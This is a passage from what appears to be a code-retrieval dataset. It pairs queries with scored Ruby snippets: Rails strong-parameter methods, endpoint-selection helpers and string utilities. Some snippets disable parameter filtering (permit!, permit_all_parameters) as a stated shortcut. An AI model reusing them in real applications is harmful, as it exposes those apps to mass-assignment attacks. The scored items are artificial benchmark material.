"text": "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "title": "" }, { "docid": "abca6170eec412a7337563085a3a4af2", "score": "0.587974", "text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "title": "" }, { "docid": "26a35c2ace1a305199189db9e03329f1", "score": "0.58738774", "text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "title": "" }, { "docid": "de49fd084b37115524e08d6e4caf562d", "score": "0.5869024", "text": "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "title": "" }, { "docid": "7b7ecfcd484357c3ae3897515fd2931d", "score": "0.58679986", "text": "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "0016f219c5d958f9b730e0824eca9c4a", "score": "0.5867561", "text": "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "title": "" }, { "docid": "8aa9e548d99691623d72891f5acc5cdb", "score": "0.5865932", "text": "def url_params\n params[:url].permit(:full)\n end", "title": "" }, { "docid": "c6a8b768bfdeb3cd9ea388cd41acf2c3", "score": "0.5864461", "text": "def backend_user_params\n params.permit!\n end", "title": "" }, { "docid": "be95d72f5776c94cb1a4109682b7b224", "score": "0.58639693", "text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "title": "" }, { "docid": "967c637f06ec2ba8f24e84f6a19f3cf5", "score": "0.58617616", "text": "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "title": "" }, { "docid": "e4a29797f9bdada732853b2ce3c1d12a", "score": "0.5861436", "text": "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "title": "" }, { "docid": "d14f33ed4a16a55600c556743366c501", "score": "0.5860451", "text": "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "title": "" }, { "docid": "46cb58d8f18fe71db8662f81ed404ed8", "score": "0.58602303", "text": "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "title": "" }, { "docid": "7e9a6d6c90f9973c93c26bcfc373a1b3", "score": "0.5854586", "text": "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "title": "" }, { "docid": "ad61e41ab347cd815d8a7964a4ed7947", "score": "0.58537364", "text": "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "title": "" }, { "docid": "8894a3d0d0ad5122c85b0bf4ce4080a6", "score": "0.5850427", "text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "title": "" }, { "docid": "53d84ad5aa2c5124fa307752101aced3", "score": "0.5850199", "text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "title": "" } ]
443ba705f8b380717dc42db70a55959e
Choose the first available endpoint
[ { "docid": "bfb0bdcd3cd0a581da75310f017f82fb", "score": "0.5471523", "text": "def resolve_endpoints(endpoints)\n Array(endpoints).map(&:to_sym).each do |sym|\n if ep = @endpoints[sym]\n return sym, ep\n end\n end\n\n raise(Frenchy::ConfigurationError, \"Resource does not contain any endpoints: #{endpoints.join(\", \")}\")\n end", "title": "" } ]
[ { "docid": "11fc6facc6ab140a481c3329af6dc2a0", "score": "0.75749964", "text": "def endpoint\n endpoints.first\n end", "title": "" }, { "docid": "12cb260447633e47e35a55bff9a73554", "score": "0.65626186", "text": "def endpoint\n @endpoint or raise MissingEndpoint\n end", "title": "" }, { "docid": "f6ad6d5b0a5bbf50bfd4998f7cf0ad5f", "score": "0.6526783", "text": "def first_endpoint(type = nil) \n @queries.each do |q|\n return q.value if q.is_a?(Marker) and (type.nil? or q.type_of?(type))\n end\n nil\n end", "title": "" }, { "docid": "42e8405d64be541e59155761f7371005", "score": "0.6518432", "text": "def endpoint_for(name)\n node['openstack']['endpoints'][name]\n rescue\n nil\n end", "title": "" }, { "docid": "102656b13c6ccfb5ab0e40184894c2eb", "score": "0.6304161", "text": "def endpoint\n self.class.endpoint || routes\n end", "title": "" }, { "docid": "102656b13c6ccfb5ab0e40184894c2eb", "score": "0.6304161", "text": "def endpoint\n self.class.endpoint || routes\n end", "title": "" }, { "docid": "e2df5e00c540df5f375ecbb29edf24af", "score": "0.6296337", "text": "def first_endpoint(line_no = nil, strategy = :top_bottom, type = nil)\n return unless @sections.any?\n \n # Determine index of section where we start searching at\n if not line_no.nil? \n from_idx = @sections.index do |s|\n line_no.between? s.from_line, s.to_line\n end; return if from_idx.nil?\n else\n from_idx = (strategy === :top_bottom) ? 0 : @sections.count\n end\n \n # Build range\n case strategy\n when :top_bottom\n range = from_idx.upto(@sections.count)\n when :bottom_up\n range = from_idx.downto(0)\n else\n return \n end\n\n # And scan it\n range.each do |idx|\n ep_marker = @sections.at(idx).first_endpoint(type)\n return ep_marker if (type.nil? or not ep_marker.nil?)\n end\n end", "title": "" }, { "docid": "48069dff907bf73548f5135cf9a6f814", "score": "0.622669", "text": "def get_endpoint(method,path)\n @endpoints.each { | ep |\n return ep[1] if ep[1].is_endpoint?(method,path)\n }\n return nil\n end", "title": "" }, { "docid": "a16f573460ca987889a32679b5e54996", "score": "0.6171869", "text": "def endpoint\n EndpointRegistry.instance[endpoint_id]\n end", "title": "" }, { "docid": "a56fca798f4ba9c1c066de72fd570b31", "score": "0.6136584", "text": "def checked_endpoint(type)\n type = references.send(type)\n type.endpoint if type.present?\n end", "title": "" }, { "docid": "783a14f065738cfe38e6a40672690469", "score": "0.6128278", "text": "def endpoint\n @endpoint ||= Economic::Endpoint.new\n end", "title": "" }, { "docid": "ee1877c8e761fe7a15313a91f4cd7d3d", "score": "0.6045508", "text": "def endpoint\n return @endpoint if @endpoint\n test ? 'https://development.avalara.net' : 'https://avatax.avalara.net'\n end", "title": "" }, { "docid": "c3341337ab3889964aae2e5e9aedf366", "score": "0.6038576", "text": "def service_endpoint url\n endpoint = LIST.find do |(pattern, endpoint)|\n url =~ pattern\n end\n endpoint ? endpoint.last : false\n end", "title": "" }, { "docid": "0bb85ea5df30df46cccb395214b4b750", "score": "0.60296553", "text": "def endpoint\n @endpoint ||= parser.endpoint\n end", "title": "" }, { "docid": "5b8c9c17462a2984917bb9e6bb9863a3", "score": "0.60189945", "text": "def endpoint\n opts[:endpoint] || :user\n end", "title": "" }, { "docid": "18b8d92b5fbe9e65ded44be8b3ea32e1", "score": "0.5966007", "text": "def endpoint\n @endpoint || YodleeApi.endpoint\n end", "title": "" }, { "docid": "18b8d92b5fbe9e65ded44be8b3ea32e1", "score": "0.5966007", "text": "def endpoint\n @endpoint || YodleeApi.endpoint\n end", "title": "" }, { "docid": "5308f3ac27331e867e2b00fc69b10303", "score": "0.59444505", "text": "def find_endpoint_for(uri)\r\n \r\n root = get_root_uri(uri)\r\n \r\n return if root == nil\r\n return @@alreadyfound[root] if @@alreadyfound[root] != nil\r\n \r\n default = root + 'sparql/'\r\n if is_endpoint(default,uri) \r\n a = Array.new \r\n a << default \r\n elsif is_endpoint(get_root_uri(uri,1) + 'sparql/',uri) \r\n a = Array.new \r\n a << default \r\n else \r\n a = find_by_robot(root)\r\n if a.size == 0 \r\n a= find_by_sitemap(root)\r\n end \r\n end \r\n #it populates a hash with all sparql endpoints that were found\r\n a.each do |x|\r\n list = Array.new\r\n list << x\r\n list.uniq!\r\n @@alreadyfound[root]=list\r\n end\r\n a\r\n end", "title": "" }, { "docid": "45cae0ad6c3d454a09c0d03c3dd43223", "score": "0.5899409", "text": "def set_endpoint\n @endpoint = Endpoint.find(params[:id])\n end", "title": "" }, { "docid": "5864605a4cca5fae307d47f482b09d45", "score": "0.5886556", "text": "def endpoint\n endpoints.fetch(environment)\n end", "title": "" }, { "docid": "51e91d93d3490c2690b4fa24324c071e", "score": "0.5883286", "text": "def endpoint\n @endpoint ||= parser.endpoint\n end", "title": "" }, { "docid": "d995de510308ab508729eaf1cca0d4b4", "score": "0.587812", "text": "def first_page\n get(@first_page_options_or_url)\n end", "title": "" }, { "docid": "d995de510308ab508729eaf1cca0d4b4", "score": "0.587812", "text": "def first_page\n get(@first_page_options_or_url)\n end", "title": "" }, { "docid": "c6163bd7e4e5188e65863a98b29acc70", "score": "0.58442974", "text": "def endpoint; end", "title": "" }, { "docid": "c6163bd7e4e5188e65863a98b29acc70", "score": "0.58442974", "text": "def endpoint; end", "title": "" }, { "docid": "c6163bd7e4e5188e65863a98b29acc70", "score": "0.58442974", "text": "def endpoint; end", "title": "" }, { "docid": "c6163bd7e4e5188e65863a98b29acc70", "score": "0.58442974", "text": "def endpoint; end", "title": "" }, { "docid": "c6163bd7e4e5188e65863a98b29acc70", "score": "0.58442974", "text": "def endpoint; end", "title": "" }, { "docid": "c6163bd7e4e5188e65863a98b29acc70", "score": "0.58442974", "text": "def endpoint; end", "title": "" }, { "docid": "c6163bd7e4e5188e65863a98b29acc70", "score": "0.58442974", "text": "def endpoint; end", "title": "" }, { "docid": "b6cc198aaa0a1a41847f8bfbb2ea5131", "score": "0.5803957", "text": "def defaultRoute\n if cloud_desc and cloud_desc.route_table\n rtb_id = MU::Cloud::Azure::Id.new(cloud_desc.route_table.id)\n routes = MU::Cloud::Azure.network(credentials: @config['credentials']).routes.list(\n rtb_id.resource_group,\n rtb_id.name\n )\n routes.each { |route|\n return route if route.address_prefix == \"0.0.0.0/0\"\n }\n end\n nil\n end", "title": "" }, { "docid": "89c6abc445dcfcb0d374adbeeef33bfa", "score": "0.57967234", "text": "def set_endpoint(options)\n if not options.endpoint\n if not @config.default(:endpoint)\n raise Acme::Distributed::ConfigurationError, \"Endpoint is not specified and no default is set in configuration.\"\n end\n _endpoint = @config.default(:endpoint)\n else\n _endpoint = options.endpoint\n end\n\n if not @config.endpoints.keys.include?(_endpoint)\n raise Acme::Distributed::ConfigurationError, \"Endpoint '#{_endpoint}' requested, but no such endpoint configured.\"\n end\n @config.endpoints[_endpoint]\n end", "title": "" }, { "docid": "eabe8173a119803b16ca54fd4e3dfef1", "score": "0.5776806", "text": "def start_index\n endpoints[0]\n end", "title": "" }, { "docid": "b0119e38b274b15c82da1c40487c8ea0", "score": "0.57751685", "text": "def get_endpoint\n os = nil\n endpoint = nil\n if File.exist?('/etc/lsb-release')\n os = 'Ubuntu' if File.read('/etc/lsb-release').include?('Ubuntu')\n elsif File.exist?('/etc/centos-release')\n os = 'CentOS' if File.read('/etc/centos-release').include?('CentOS')\n end\n endpoint = get_endpoint_from_leases_path(LEASE_PATHS[os]) unless os.nil?\n endpoint\n end", "title": "" }, { "docid": "ed70ff452e50aa90c0a3861e8e208a63", "score": "0.5771841", "text": "def endpoint\n @endpoint || YodleeApi.endpoint\n end", "title": "" }, { "docid": "ed70ff452e50aa90c0a3861e8e208a63", "score": "0.5771841", "text": "def endpoint\n @endpoint || YodleeApi.endpoint\n end", "title": "" }, { "docid": "80d9edbe422ed5fd5b051455a81ff6d4", "score": "0.5767132", "text": "def method_missing(m, **args, &block)\r\n if(!@endpoints[m.to_sym].nil?)\r\n request(endpoint:m.to_sym,**args)\r\n else\r\n raise NoMethodError.new \"endpoint '#{m}' not defined in #{self.class.name}. Call `<#{self.class.name} instance>.endpoints` to get a list of defined endpoints.\"\r\n end\r\n\r\n end", "title": "" }, { "docid": "8e27dca98ef9b24d2fe381fb8a8bb761", "score": "0.5759695", "text": "def first_service\n accessible_services.first\n end", "title": "" }, { "docid": "560569f2743ffe656f6ba2f66bad3517", "score": "0.5759506", "text": "def endpoint(type)\n path = endpoints[type.to_sym]\n scheme_class = URI.scheme_list.fetch(scheme.to_s.upcase)\n\n param = {\n host: host,\n path: path,\n port: (port || 443)\n }\n\n scheme_class.build(param)\n end", "title": "" }, { "docid": "1f10055eadefa335dc9b1ac3e2d40b09", "score": "0.5740549", "text": "def endpoints; end", "title": "" }, { "docid": "1f10055eadefa335dc9b1ac3e2d40b09", "score": "0.5740549", "text": "def endpoints; end", "title": "" }, { "docid": "1f10055eadefa335dc9b1ac3e2d40b09", "score": "0.5740549", "text": "def endpoints; end", "title": "" }, { "docid": "99ef684f4c4690e3de89720d314316d6", "score": "0.573935", "text": "def op_endpoint=(_arg0); end", "title": "" }, { "docid": "9cdaef7d6756fa6414ebe2fd76ee4339", "score": "0.5723124", "text": "def endpoint\n blank? ? nil : @reference.endpoint\n end", "title": "" }, { "docid": "d48dfab1a0ef04a3fd74f09925ac2022", "score": "0.5713936", "text": "def endpoint\n @reference[1]\n end", "title": "" }, { "docid": "4ad5abed8e644faeed202508d965df43", "score": "0.56892437", "text": "def initialize\n @endpoint = DEFAULT_ENDPOINT\n end", "title": "" }, { "docid": "7b4b11f5cf3b65c8022afa1e099b1f0c", "score": "0.56790936", "text": "def set_endpoint\n begin\n @endpoint = Endpoint.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n render json: { errors: [{code: \"not_found\", detail: \"Requested Endpoint with ID `#{params[:id]}` does not exist\"}]}, status: 404 \n end\n end", "title": "" }, { "docid": "18ae5f86264259edd4f5fd4c4bc83355", "score": "0.5677885", "text": "def initialize\n @endpoint = DEFAULT_ENDPOINT\n end", "title": "" }, { "docid": "1f535553b82004b2c9901dab040b8349", "score": "0.5658897", "text": "def configured_endpoint(opts = {})\n # services section is only allowed in the shared config file (not credentials)\n profile = opts[:profile] || @profile_name\n service_id = opts[:service_id]&.gsub(\" \", \"_\")&.downcase\n if @parsed_config && (prof_config = @parsed_config[profile])\n services_section_name = prof_config['services']\n if (services_config = @parsed_config[\"services #{services_section_name}\"]) &&\n (service_config = services_config[service_id])\n return service_config['endpoint_url'] if service_config['endpoint_url']\n end\n return prof_config['endpoint_url']\n end\n nil\n end", "title": "" }, { "docid": "7b7e4b5d2f6b9688cae5fa608536353a", "score": "0.56482613", "text": "def configure_endpoint(endpoint= \\\n CgLookupClient::RestEndpoint.new(\"http://localhost:5000/\", \"1\"))\n if !supported_endpoint_version?(endpoint.version)\n raise UnsupportedEndpointVersionError, \\\n \"Version #{endpoint.version} endpoints are not supported.\"\n end\n\n @endpoints.add(endpoint)\n end", "title": "" }, { "docid": "ad93e617d19f3bef9e568aba5ce2105b", "score": "0.56319743", "text": "def endpoint\n @endpoint ||= \"http://api.olhovivo.sptrans.com.br/v0/\"\n end", "title": "" }, { "docid": "80fc7311fde8877c541c1c06d6749abb", "score": "0.56267655", "text": "def lookup_server_uri\n 50.times do\n service_directory.all_listings_for(service).each do |listing|\n host = listing.try(:address)\n port = listing.try(:port)\n return \"tcp://#{host}:#{port}\" if host_alive?(host)\n end\n\n host = options[:host]\n port = options[:port]\n return \"tcp://#{host}:#{port}\" if host_alive?(host)\n\n sleep(1.0/10.0) # not sure why sleeping at all, but should be way less than 1 second\n end\n\n raise \"Host not found for service #{service}\"\n end", "title": "" }, { "docid": "440c89bd3933645f7aa73c0d2eca5390", "score": "0.5621032", "text": "def initialize(endpoint:)\n @endpoint = endpoint + ['services']\n end", "title": "" }, { "docid": "948a28dd4404b91b14eb810723044c34", "score": "0.5615711", "text": "def first_route\n\t\t\t\tvalues.find { |value| value.is_a?(Route) }\n\t\t\tend", "title": "" }, { "docid": "7653669412104f4f87ca81a513c9e0a2", "score": "0.5591028", "text": "def test_make_endpoint\n a = Node.create!\n p = Default::EndPoint.from(a)\n assert p.matches?(a)\n end", "title": "" }, { "docid": "22cc318ac51ea8db9a48ff88d6c96ba4", "score": "0.55818045", "text": "def endpoint_id; end", "title": "" }, { "docid": "22cc318ac51ea8db9a48ff88d6c96ba4", "score": "0.55818045", "text": "def endpoint_id; end", "title": "" }, { "docid": "22cc318ac51ea8db9a48ff88d6c96ba4", "score": "0.55818045", "text": "def endpoint_id; end", "title": "" }, { "docid": "22cc318ac51ea8db9a48ff88d6c96ba4", "score": "0.55818045", "text": "def endpoint_id; end", "title": "" }, { "docid": "df936eaa6e5f73a5044418cfe1ace3f2", "score": "0.55786717", "text": "def find_service_url(product, service, endpoint, protocol)\n # assert serviceRegistration is not None\n list = List.new(client, product, service, protocol, endpoint)\n\n list.invoke\n list.get_service_endpoints\n end", "title": "" }, { "docid": "e42380d33cd4e438f02439ac17396d83", "score": "0.55642986", "text": "def endpoint\n @endpoint ||= YodleeApi.endpoint\n end", "title": "" }, { "docid": "e5ecb24ead96665985817ec0c2ef8538", "score": "0.55519795", "text": "def endpoint_id=(_arg0); end", "title": "" }, { "docid": "e5ecb24ead96665985817ec0c2ef8538", "score": "0.55507314", "text": "def endpoint_id=(_arg0); end", "title": "" }, { "docid": "e5ecb24ead96665985817ec0c2ef8538", "score": "0.55507314", "text": "def endpoint_id=(_arg0); end", "title": "" }, { "docid": "e5ecb24ead96665985817ec0c2ef8538", "score": "0.55507314", "text": "def endpoint_id=(_arg0); end", "title": "" }, { "docid": "9e5398d1fca481520c83801a83611930", "score": "0.55501", "text": "def with_endpoint(endpoint_class, type, version, opts = {})\n remain = opts[:tries] || 2\n\n key = make_key(endpoint_class, type, version)\n\n endpoint = nil\n begin\n remain -= 1\n endpoint = get_by_key(key)\n yield(endpoint)\n rescue Errno::ECONNREFUSED\n if endpoint\n evict!(endpoint)\n endpoint = nil\n end\n retry if remain > 0\n raise\n end\n end", "title": "" }, { "docid": "87d946fa629f9c812a85ef257f1ffdd3", "score": "0.5548281", "text": "def resolve_endpoints(endpoints)\n Array(endpoints).map(&:to_s).each do |s|\n if ep = @endpoints[s]\n return s, ep\n end\n end\n\n raise(Frenchy::Error, \"Resource does not contain any endpoints: #{Array(endpoints).join(\", \")}\")\n end", "title": "" }, { "docid": "d1b3aa68bb0324fa308ed1db484d5629", "score": "0.554104", "text": "def endpoint\n @endpoint ||= URI(ENDPOINT % [environment])\n end", "title": "" }, { "docid": "893ad7862e0b3f9bb7e4c7256e973974", "score": "0.55115783", "text": "def resolve_custom_config_endpoint(cfg)\n return if cfg.ignore_configured_endpoint_urls\n\n\n env_service_endpoint(cfg) || env_global_endpoint(cfg) || shared_config_endpoint(cfg)\n end", "title": "" }, { "docid": "b1a80497cba40832ba9dc11c35fd744d", "score": "0.5473612", "text": "def endpoint\n @endpoint ||= \"https://#{@subdomain}.desk.com\"\n end", "title": "" }, { "docid": "a353da2ff97f958d60d106d9907a5cfa", "score": "0.54676616", "text": "def display_name \n return (self.endpoint_name.blank? ? display_endpoint : self.endpoint_name)\n end", "title": "" }, { "docid": "df97c23c3d9ca918c06bcadadeef478f", "score": "0.5460044", "text": "def endpoints(&block)\n node['openstack']['endpoints'].each do | name, info |\n block.call(name, info)\n end\n rescue\n nil\n end", "title": "" }, { "docid": "582941949ca28501c0487b026c182cfa", "score": "0.54578054", "text": "def endpoint=(val)\n @path[-1] = val\n end", "title": "" }, { "docid": "26acd0bb837a055b1c84a0745e6a6ef1", "score": "0.5453965", "text": "def set_endpoint(endpoint)\n raise 'Endpoint not a valid URI' unless (endpoint =~ URI::ABS_URI)\n @endpoint = endpoint.chomp('/') + '/'\n end", "title": "" }, { "docid": "9d55e0b176b5b1cbae63c6354dabc42c", "score": "0.543869", "text": "def prepare_get_first_request(options)\n kind,key = hash_first options, [:gte,:gt,:with_prefix]\n uri=\"first_records/#{kind}/#{ue key}\"\n params = hash_select options, [:limit,:lte,:lt]\n return uri,params\n end", "title": "" }, { "docid": "c440ab61adaa19aee68b32a098bd13d5", "score": "0.5430389", "text": "def endpoint\n @endpoint ||= '/' + response_key\n end", "title": "" }, { "docid": "b08772d9835c7df227e6b33b59f391b8", "score": "0.54163015", "text": "def resolve_endpoint(cfg)\n endpoint = resolve_custom_config_endpoint(cfg)\n endpoint_prefix = cfg.api.metadata['endpointPrefix']\n\n return endpoint unless endpoint.nil? && cfg.region && endpoint_prefix\n\n validate_region!(cfg.region)\n handle_legacy_pseudo_regions(cfg)\n\n # set regional_endpoint flag - this indicates to Endpoints 2.0\n # that a custom endpoint has NOT been configured by the user\n cfg.override_config(:regional_endpoint, true)\n\n resolve_legacy_endpoint(cfg)\n end", "title": "" }, { "docid": "3bee7d9dd5f362a5b5a75311c9c85d34", "score": "0.5414082", "text": "def endpoint\n self.class.endpoint\n end", "title": "" }, { "docid": "658f29e5b820914407abbd761ddb1af3", "score": "0.5404937", "text": "def service_endpoint\n config.platform_endpoint || config.endpoint || DEFAULT_END_POINTS[api_mode]\n end", "title": "" }, { "docid": "902552c40ebcc1acb3444f92237fb52e", "score": "0.5403202", "text": "def op_endpoint; end", "title": "" }, { "docid": "1df36b0578188a0e9d585dcd5e04efa6", "score": "0.5400273", "text": "def endpoint\n if not @hostname.include? \"://\"\n @hostname = \"http://\" + @hostname\n end\n\n @hostname = @hostname.delete_suffix(\"/\")\n\n if @port.respond_to?(:to_s)\n @port = @port.to_s\n end\n\n if not @port.start_with?(\":\")\n @port = \":\" + @port\n end\n\n if not @policy_path.start_with?(\"/\")\n @policy_path = \"/\" + @policy_path\n end\n\n @hostname + @port + \"/v1/data\" + @policy_path\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.539173", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.539173", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.539173", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.539173", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.539173", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.539173", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.539173", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.539173", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.539173", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.539173", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.539173", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.539173", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.539173", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.539173", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.539173", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.539173", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.539173", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.53909105", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" }, { "docid": "c688b79b5ec72237808580a20f08fdd4", "score": "0.53909105", "text": "def set_Endpoint(value)\n set_input(\"Endpoint\", value)\n end", "title": "" } ]
e97ce8a9cccf74d5eecc237568998a50
the string. You may assume that the string contains only letters and spaces.
[ { "docid": "1a372db87b0aa2061eb1e7fef4db167b", "score": "0.0", "text": "def longest_word(sentence)\n words = sentence.split(\" \")\n\n longest_word = nil\n\n word_idx = 0\n while word_idx < words.length\n current_word = words[word_idx]\n\n if longest_word == nil\n longest_word = current_word\n elsif longest_word.length < current_word.length\n longest_word = current_word\n end\n\n word_idx += 1\n end\n\n return longest_word\nend", "title": "" } ]
[ { "docid": "325ffadb3e3b7a5846f3c5804435e216", "score": "0.74901503", "text": "def string(str); end", "title": "" }, { "docid": "325ffadb3e3b7a5846f3c5804435e216", "score": "0.74901503", "text": "def string(str); end", "title": "" }, { "docid": "325ffadb3e3b7a5846f3c5804435e216", "score": "0.74901503", "text": "def string(str); end", "title": "" }, { "docid": "325ffadb3e3b7a5846f3c5804435e216", "score": "0.74901503", "text": "def string(str); end", "title": "" }, { "docid": "7785dd1551e1d3b1ab98235315566142", "score": "0.7282951", "text": "def string( str )\n str\n end", "title": "" }, { "docid": "6c726152d4dfadcc06dd7fe191bb5a29", "score": "0.711038", "text": "def s(string)\n string.gsub!(/[^0-9A-Za-z]/, '')\n end", "title": "" }, { "docid": "9092c9c9cadd6e6bf4bf3224e708616b", "score": "0.6902296", "text": "def encapsulate_string(string); end", "title": "" }, { "docid": "bbe30a410e61c020a64fee34792f8033", "score": "0.68580866", "text": "def s(str)\n str(str) >> space? \n end", "title": "" }, { "docid": "59d3bbdc2220b1f69ff556f740d638dc", "score": "0.6781024", "text": "def text(string); end", "title": "" }, { "docid": "81d731580db69128cdb826459d1dae76", "score": "0.66855943", "text": "def clr_str(string)\n string.gsub(/\\A[[:space:]]+/, '').gsub(/[[:space:]]+\\z/, '').gsub(/[[:space:]]+/, ' ')\n end", "title": "" }, { "docid": "7d9f4ab03c93809d4b867255365a078a", "score": "0.66042554", "text": "def read_string\n text = ''\n text += @input[@index]\n @index +=1\n while @input[@index] =~ /[0-9a-zA-Z]/\n text += @input[@index]\n @index +=1\n end\n text += @input[@index]\n return Token.new(STRING, text)\n end", "title": "" }, { "docid": "b95d6b362b8f0ab7a9db7272a78d8c59", "score": "0.6578265", "text": "def quote_phrase(str); end", "title": "" }, { "docid": "1c99c9b985860a91d5204712fe01063e", "score": "0.65679085", "text": "def missing_letters(str)\nend", "title": "" }, { "docid": "5432b4946efb2de351683be436b0b83d", "score": "0.65525794", "text": "def in_string?; end", "title": "" }, { "docid": "5432b4946efb2de351683be436b0b83d", "score": "0.65525794", "text": "def in_string?; end", "title": "" }, { "docid": "727a3498886909e90108695772054e58", "score": "0.6521009", "text": "def characters string\n end", "title": "" }, { "docid": "2afbbdb8eb386454163cfedb05981dc9", "score": "0.6519983", "text": "def characters(string)\n end", "title": "" }, { "docid": "9e1f15ee59b38ba78b618b476a73ac82", "score": "0.6509144", "text": "def return_first_letter(string)\n return string[0]\n end", "title": "" }, { "docid": "393728e9df384cd36e6defa22ad0d785", "score": "0.6490001", "text": "def missing_letters(str)\n\nend", "title": "" }, { "docid": "20242f3198c1be01c33862cd9ec27152", "score": "0.64735335", "text": "def remove_capital_letters_from_string(string)\n\t#\nend", "title": "" }, { "docid": "9afff75c9e2b01befe59328152c073d6", "score": "0.6439467", "text": "def missing_letters(string)\nend", "title": "" }, { "docid": "afb386a463eb3239f0f8cd3256023dfe", "score": "0.6437903", "text": "def first_letter(string)\n return string[0]\nend", "title": "" }, { "docid": "eb75a98fd3acd3e195db87f7b0e94c67", "score": "0.64369065", "text": "def prefect_safe(string)\n string.slice(0, 50).gsub(/[\\W_\\s]/, '-').downcase\n end", "title": "" }, { "docid": "86be066d4d9968e34d6822ede3f42fe0", "score": "0.643038", "text": "def wrds2str(string)\n string.downcase.scan(/[\\w']+/)\nend", "title": "" }, { "docid": "58e095ea47383b03de8755fce60bc3e5", "score": "0.6422161", "text": "def string\n return unless t = @scanner.scan(REGEX[:string])\n t.gsub!(/\\\"/, '')\n [:STRING, t]\n end", "title": "" }, { "docid": "a6d8f1357ec7d5c0779398a31166259f", "score": "0.64184386", "text": "def func (str); str.str_func end", "title": "" }, { "docid": "581343fb4a7fdd224f587ac14c76b7aa", "score": "0.64060384", "text": "def alpha(string)\n return string.downcase.gsub(/[^a-z]/,\"\")\nend", "title": "" }, { "docid": "581343fb4a7fdd224f587ac14c76b7aa", "score": "0.64060384", "text": "def alpha(string)\n return string.downcase.gsub(/[^a-z]/,\"\")\nend", "title": "" }, { "docid": "ab7a44c9a3c4c24446cec87662858cbb", "score": "0.6394745", "text": "def is_valid_name(str)\n str = str.split(\" \")\n print str\nend", "title": "" }, { "docid": "3d6195c99c057b848c02e8c60e79266a", "score": "0.63799924", "text": "def sanitize(string)\n string.gsub(/[^[:alnum:]]/, '').downcase\n end", "title": "" }, { "docid": "c1fe04bb2f499b3a4d3ebc69808a7ae7", "score": "0.63698906", "text": "def alpha_string; end", "title": "" }, { "docid": "8bd4eeedb0794d9b108b3ce8fb066c87", "score": "0.6343309", "text": "def space_or_letter(char)\r\n\t(char =~ /[A-Za-z]/ || char.to_s == \"\\u0000\")\r\nend", "title": "" }, { "docid": "512e9bc66fed8a179e0e0ca032b2d633", "score": "0.63360345", "text": "def frase (s)\n\ts +\"Only in america!\"\nend", "title": "" }, { "docid": "4244624d86c535786148535fcc55a8c8", 